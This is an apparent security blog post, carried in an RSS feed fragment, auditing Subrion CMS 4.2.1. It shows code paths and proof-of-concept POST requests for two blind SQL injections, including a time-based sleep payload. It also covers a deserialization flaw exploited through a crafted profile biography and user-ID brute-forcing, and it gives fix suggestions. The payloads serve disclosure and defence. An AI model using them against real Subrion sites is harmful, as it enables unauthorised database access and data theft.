0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="__bg_gif" data-ratio="0.532" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;" data-type="gif" data-w="500" width="auto" src="https://wechat2rss.xlab.app/img-proxy/?k=f64bf6ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIPmdz4nc0ndM0T4dvLW5NpN7vzZs7eUsDzJQ38oWic3ickec4N848AicAvQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="margin-top: -10.5em;margin-left: 0.8em;max-width: 100%;width: 8em;height: 8em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img data-ratio="1" data-s="300,640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=9b636feb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIP3WSctzWffhLdFjx0W28oHbAQiaqtW7zYu7kGO75vdZZT69TR7iapNpNw%2F640%3Fwx_fmt%3Djpeg"/><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section></section></section></section><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p><br/></p><section data-ele="" style="white-space: normal;max-width: 100%;line-height: 25.6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-ele="" style="max-width: 100%;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="max-width: 100%;overflow-wrap: break-word;min-height: 1.5em;font-size: 15.5556px;line-height: 2em;word-break: normal;border-radius: 5px;color: rgb(255, 255, 255);text-align: center;background-color: rgb(89, 150, 235);box-sizing: border-box !important;"><span style="max-width: 100%;color: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">↓↓↓ 点击&#34;阅读原文&#34; 【查看更多信息】  </span></p></section></section></section>



<p><a href="https://www.ms509.com/2020/06/17/Intranet-penetration/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b8afed15&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935384%26idx%3D1%26sn%3D55e74a81e3e15267eb2bfe91f8f38300%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 20 Jun 2020 00:17:00 +0800</pubDate>
    </item>
    <item>
      <title>Subrion CMS 代码审计</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935346&amp;idx=1&amp;sn=c9e735be24524b951e26f96008d4b87b</link>
      <description>Subrion cms 是一款国外的开源cms，使用php 开发，最新版本是4.2.1，目前正在开发的4.2.2 版本尚未发布。</description>
      <content:encoded><![CDATA[<p>
原创 <span>flystart</span> <span>2020-06-18 01:18</span> <span style="display: inline-block;"></span>
</p>

<p>Subrion cms 是一款国外的开源cms，使用php 开发，最新版本是4.2.1，目前正在开发的4.2.2 版本尚未发布。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b4a50738&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVtv55dckZeibePDPEv2W4We37I5mh5WnEI2bOLa0ssR0d17UXdETPOpg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-weight: bolder;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Mail:</span>root@flystart.org</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><span style="font-weight: bolder;"></span></p><h1 style="font-size: 2em;margin-top: 0.67em;margin-bottom: 0.67em;">0x01 Introduction</h1><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">Subrion cms 是一款国外的开源cms，使用php 开发，最新版本是4.2.1，目前正在开发的4.2.2 版本尚未发布。<br/>【官    网】<a href="https://subrion.org/" target="_blank">https://subrion.org/</a><br/>【下载地址】<a href="https://subrion.org/download/" target="_blank">https://subrion.org/download/</a><br/>【测试环境】php 5.6.27、mysql5.0.11、apache2.2<br/>【测试版本】subrion cms 4.2.1 and subrion dev</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3631484794275492" data-s="300,640" style="" data-type="png" data-w="3354" src="https://wechat2rss.xlab.app/img-proxy/?k=a167f716&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVzJhHftcsW0ia9qWp6khgE25nMFqAiazLzZeXicIW6IunAw9GOjPSL7ZTw%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="font-size: 2em;margin-top: 0.67em;margin-bottom: 0.67em;">0x02 Founded Vulnerabilities</h1><table><thead><tr><th align="center" style="border-bottom-width: 2px;border-bottom-color: rgb(144, 155, 162);" width="148">漏洞类型</th><th align="center" style="border-bottom-width: 2px;border-bottom-color: rgb(144, 155, 162);" width="68">数量</th><th align="center" style="border-bottom-width: 2px;border-bottom-color: rgb(144, 155, 162);" width="57">级别</th><th align="center" style="border-bottom-width: 2px;border-bottom-color: rgb(144, 155, 162);" width="121">利用条件</th></tr></thead><tbody><tr><td align="center" width="29">Blind SQL注入</td><td align="center" width="56">2</td><td align="center" width="57">高</td><td align="center" width="121">注册用户</td></tr><tr style="background: rgb(247, 248, 248);"><td align="center" width="29">OI（反序列化）</td><td align="center" width="56">1</td><td align="center" width="57">中</td><td align="center" width="121">注册用户</td></tr><tr><td align="center" width="29">存储型XSS</td><td align="center" width="56">1</td><td align="center" width="57">中</td><td align="center" width="121">注册用户</td></tr></tbody></table><h1 style="font-size: 2em;margin-top: 0.67em;margin-bottom: 0.67em;">0x03 Fundamental Analysis</h1><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;">SQL注入漏洞一</h2><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">\subrion\front\actions.php line 34</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">$field = <span style="font-weight: bolder;">isset</span> ($_POST[<span style="font-weight: bolder;">&#39;field&#39;</span>]) ? iaSanitize::<em style="font-weight: bold;">sql</em>($_POST[<span style="font-weight: bolder;">&#39;field&#39;</span>]) : <span style="font-weight: bolder;">null</span> ;</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">变量POST[&#39;field&#39;]使用类函数iaScanitize::sql进行处理,最终调用mysqli_real_escape_string 进行转义，由于这个函数只能转义几个特殊字符，对于没有单引号的SQL注入并不能防御，因此这个参数可以无引号SQL注入漏洞利用。</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5974729241877257" data-s="300,640" style="" data-type="png" data-w="1108" src="https://wechat2rss.xlab.app/img-proxy/?k=4f35b634&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVhoibxMgnV6hOqPgqaG75QbxF9Gibh3V01gkBLhZibNqxD1DbXcmejiaeOA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p>\subrion\includes\classes\ia.core.sanitize.php</p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6157804459691252" data-s="300,640" style="" data-type="png" data-w="2332" src="https://wechat2rss.xlab.app/img-proxy/?k=306f5163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVcqiczRHFssXjzmWo1LbfZZ0siaj12bGJRu5dxXdf7W7cXA2gib0yAKnTg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>\subrion\includes\classes\ia.core.mysqli.php</p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.11804961505560307" data-s="300,640" style="" data-type="png" data-w="2338" src="https://wechat2rss.xlab.app/img-proxy/?k=c2f3d539&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVdcJYu053nSAHCzsjN8pp4LaicpTJFoOloxUrJ9xUCkCtwSLu7ElVm9A%2F640%3Fwx_fmt%3Dpng"/></p><p><br/>Call stack :</p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4272943980929678" data-s="300,640" style="" data-type="png" data-w="3356" src="https://wechat2rss.xlab.app/img-proxy/?k=86561e04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVmt8EOBKTUibYNqJcCo0ucJibleHXo7j1N0tWA1LibUPURGvdOJVXyv11A%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;">Poc：</h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">该 cms 对于post请求做了简单的 csrf 防御，每个请求都会验证 cstf token 和 referer，<br/>登录状态下cstf token 可以通过查看用户profile页面获取，referer即使目标网站url。</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.06073153899240856" data-s="300,640" style="" data-type="png" data-w="2898" src="https://wechat2rss.xlab.app/img-proxy/?k=56eb7ceb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnV9YtWBxuXPriat3iajSjJryn4ng9QqRIaiaibdPJapwoh1KKQturQ4ZbRFA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/>最终poc如下：</p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5647382920110193" data-s="300,640" style="" data-type="png" data-w="2904" src="https://wechat2rss.xlab.app/img-proxy/?k=6c22d307&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVZeBwvJjmW7kZm2nEQzjJmEL5XsqzIvYDTr9ON6xdhhrR8oVukI8trQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.14795244385733158" data-s="300,640" style="" data-type="png" data-w="3028" src="https://wechat2rss.xlab.app/img-proxy/?k=37031bf5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnV8JKw5CLGHXnc8HR8Um9BYmDWU4jM60vSKbINcL2L2tTF7Uv5IOabZQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>Sqlmap 利用：</p><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">Post data:</span><br/><span style="height: 1.3em;font-size: 13px;">__st=9da21aa3800afdb4c743c93bf0714ae6&amp;item=blog_entries&amp;itemid=2&amp;field=1,2 from (select 1)u where 1=1*#&amp;path=t/tdest/|xx.png&amp;action=edit-picture-title</span><br/></pre></td></tr></tbody></table></figure><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4301412872841444" data-s="300,640" style="" data-type="png" data-w="1274" src="https://wechat2rss.xlab.app/img-proxy/?k=ddcfe99c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVaXEGRcpqWogKgkeO6vzhAsKsBvB8WOSlWYGIl3KVkmT7TvOpSXc3TQ%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;">修复建议</h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">对POST[‘field’]做合法性校验，return preg_replace(‘#[^a-z_0-9]#i’, ‘’, $_POST[‘field’]);</p><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;">SQL注入漏洞二</h2><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">\subrion\front\actions.php 106 line<br/>用户提交post数据传入函数deleteUploadedFile</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><img class="rich_pages" data-ratio="0.10978520286396182" data-s="300,640" style="text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-type="png" data-w="3352" src="https://wechat2rss.xlab.app/img-proxy/?k=903e5d54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVC3D28REDzGtKYS94CCRDe9oVKgJ8K6IQJ8zNPvGKCn2uicsKMx3j57g%2F640%3Fwx_fmt%3Dpng"/></p><p>\subrion\includes\classes\ia.core.field.php line 1322</p><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><span style="font-weight: bolder;">public function</span> deleteUploadedFile($fieldName, $itemName, $itemId, $fileName = <span style="font-weight: bolder;">null</span> , $checkOwnership = <span style="font-weight: bolder;">false</span> )<br/>以上函数的第二个参数$itemName来自$_POST[item]，该参数没有经过任何转义过滤处理最终带入数据库查询从而造成SQL注入。</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7108225108225108" data-s="300,640" style="" data-type="png" data-w="2310" src="https://wechat2rss.xlab.app/img-proxy/?k=0068d29b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVMtOa0ciccthb12UzTryGa0rIbF4cXETRUpX4icPyyg2XFiaErnCEYsdiaA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">Post request:</span><br/><span style="height: 1.3em;font-size: 13px;">Url:<a href="http://test.com/subrion/actions.json?" target="_blank">http://test.com/subrion/actions.json?</a></span><br/><span style="height: 1.3em;font-size: 13px;">Data:__st=dlYrnTGgjTtXRCcC28MimIkAhzLynNyqcBMukt0h&amp;item=blog_entries` where 1=2 xor if(2&gt;1,sleep(5),0)-- -&amp;itemid=2&amp;field=image&amp;file=t/tdest/|xx.png&amp;action=delete-file</span><br/></pre></td></tr></tbody></table></figure><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">Call stack:<br/>ia.core.mysqli.php:256, iaDb-&gt;getRow()<br/>ia.core.mysqli.php:248, iaDb-&gt;_get()<br/>ia.core.mysqli.php:535, iaDb-&gt;row()<br/>ia.core.field.php:1333, iaField-&gt;deleteUploadedFile()<br/>actions.php:106, require()<br/>ia.core.php:355, iaCore-&gt;_executeModule()<br/>ia.core.php:149, iaCore-&gt;init()<br/>index.php:123, {main}()<br/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.49401913875598086" data-s="300,640" style="" data-type="png" data-w="3344" src="https://wechat2rss.xlab.app/img-proxy/?k=9627a6f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVYyxTK9BRQfmORLujDcBu6LRMfSyqicezuvVcQfaTmQc2Lats2icuXScg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Poc:</span><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">Url:<a href="http://test.com/subrion/actions.json?" target="_blank">http://test.com/subrion/actions.json?</a></span><br/><span style="height: 1.3em;font-size: 13px;">Data:__st=dlYrnTGgjTtXRCcC28MimIkAhzLynNyqcBMukt0h&amp;item=blog_entries` where 1=2 xor if(2&gt;1,sleep(5),0)-- -&amp;itemid=2&amp;field=image&amp;file=t/tdest/|xx.png&amp;action=delete-file</span><br/></pre></td></tr></tbody></table></figure><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6796036333608588" data-s="300,640" style="" data-type="png" data-w="2422" src="https://wechat2rss.xlab.app/img-proxy/?k=ea04defb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnV67fc4Ric7EenavAuFjsWPFjRhb1oqWOG1dhlwQvOcvCk2ofuFzprnOw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><br/></p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;">修复建议</h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">对POST[&#39;item&#39;]做安全性合法校验，return preg_replace(&#39;#[^a-z_0-9]#i&#39;, &#39;&#39;, $_POST[&#39;field&#39;]);</p><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;">反序列化漏洞</h2><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">在分析SQL注入漏洞一的时候我们知晓，变量$tableName = $item=$_POST[item]=table,<br/>变量$field = $_POST[field]=column,而$itemValue的值是根据用户提供的表和列查询获取的值，既然如此只要某个表里面的内容我们能够控制，unserialize反序列化的内容则可以控制。<br/>这个条件很容易满足，比如用户信息表sbr412_members,该cms在查询的时候会对表名自动格式化添加前缀和后缀，比如提供表名为 member，查询的时候自动补全为sbr421_members。<br/>在代码执行到unserialize 之前，有个条件判断：</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-family: Menlo, Consolas, monospace;border-top: none;border-right-color: rgb(230, 230, 230);border-bottom: none;border-left: none;cursor: text;vertical-align: top;user-select: none;"><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;"><span style="height: 1.3em;font-size: 13px;">1</span><br/><span style="height: 1.3em;font-size: 13px;">2</span><br/></pre></td><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="652"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 652.5px;"><span style="height: 1.3em;font-size: 13px;"><span style="color: rgb(167, 29, 93);">if</span> (iaUsers::hasIdentity() &amp;&amp; $memberId == iaUsers::getIdentity()-&gt;id &amp;&amp;$itemValue)</span><br/><span style="height: 1.3em;font-size: 13px;">        -&gt;unserialize()</span><br/></pre></td></tr></tbody></table></figure><p><br/></p><ul style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;" class="list-paddingleft-2"><li><p>当用户登录 iaUsers::hasIdentity() return ture</p></li><li><p>$memberId == iaUsers::getIdentity()-&gt;id &lt;=&gt;$_POST[itemid]=userid</p></li><li><p style="text-align: left;">$itemValue not null &lt;=&gt;ture<br/>subrion\front\actions.php line 53</p><p style="text-align: left;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;"></span></p><p style="text-align: left;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;"></span></p></li></ul><p style="text-align: center;"><img class="rich_pages" data-ratio="0.378070701018574" data-s="300,640" style="" data-type="png" data-w="3338" src="https://wechat2rss.xlab.app/img-proxy/?k=80138bbb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVaeoIiajibQfsbc3KKtFLopoLDvU903Pib9HSQ0AqBdiaJLZIgDD4FMvichQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;">        根据以上分析，只要userid 知晓</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;">那么就可以使if 条件为真从而执行 unserialize($itemValue)。</span><br/></p><p>       userid 格式是number数字,根据用户注册时间，从1开始编号，通过 $_POST[itemid]提供，既然如此userid就可以通过爆破获取，当 userid =myuserid，返回的结果会和之前不同。</p><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">1.Login in user<br/>2.Set profile biography a:1:{s:1:”d”;a:1:{s:2:”1’”;i:3;}}</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.45588235294117646" data-s="300,640" style="" data-type="png" data-w="1088" src="https://wechat2rss.xlab.app/img-proxy/?k=618287cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnV1vAvY9iacbntM6An2zRxYjXtehsuufPS7BV3zZNgx5hFfaDk5u47xvw%2F640%3Fwx_fmt%3Dpng"/></p><ol style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;" class="list-paddingleft-2"><li><p>Post request:</p></li></ol><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">Url:<a href="http://test.com/subrion/actions.json" target="_blank">http://test.com/subrion/actions.json</a><br/>Data:action=edit-picture-title&amp;__st=LlapAIYtD9R49sNj1Iy1FGDqihXd5ns5PmUneBme&amp;item=member&amp;field=biography&amp;itemid=userid&amp;path=tmp</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">对itemid参数进行爆破，当 itemid !=myuserid,response invalid parameters.</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4052443384982122" data-s="300,640" style="" data-type="png" data-w="3356" src="https://wechat2rss.xlab.app/img-proxy/?k=1954e086&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVcibRV5k11h9X1B9K5R7QyanJBhhlRG0k0AJTrSrrcLIRHFhNWk8iaEcA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/>当itemid==userid =2,respnose {&#34;error&#34;:false}</p><p><br/></p><p>Call stack:</p><p><img data-ratio="0.3823191733639495" style="display: inline;" data-type="png" data-w="1742" src="https://wechat2rss.xlab.app/img-proxy/?k=46dfe46c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0DWypAQu0Jyp97b6e99GnVxGDbdicszkEeAyrCGjiaMWVSWSiaMEuvhRCOicEntJ3avh4keclnkoJBtQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.5665529010238908" style="display: inline;" data-type="png" data-w="1758" 